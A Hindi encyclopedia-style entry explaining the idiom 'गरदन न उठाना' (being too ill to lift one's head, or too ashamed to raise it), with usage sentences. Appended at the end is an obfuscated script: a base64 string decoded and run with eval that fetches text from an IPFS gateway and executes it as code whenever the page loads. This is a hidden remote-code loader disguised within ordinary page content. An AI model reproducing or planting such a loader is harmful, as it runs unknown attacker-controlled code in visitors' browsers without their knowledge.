गरदन न उठाना
भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 13:20, 23 नवम्बर 2015 का अवतरण
गरदन न उठाना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।
अर्थ-
- बीमारी की हालत में बेसुध पड़े रहना, गरदन तक हिलाने की हिम्मत न होना।
- (शर्म से) सिर न उठाना।
प्रयोग-
- बुखार के कारण इतनी कमज़ोरी आ गई है कि अपनी गरदन नहीं उठा पा रहा हूँ।
- अपनी पुत्री की हरकतों से वह इतना लज्जित है कि किसी के सामने गरदन नहीं उठा सकता।
टीका टिप्पणी और संदर्भ
संबंधित लेख
कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>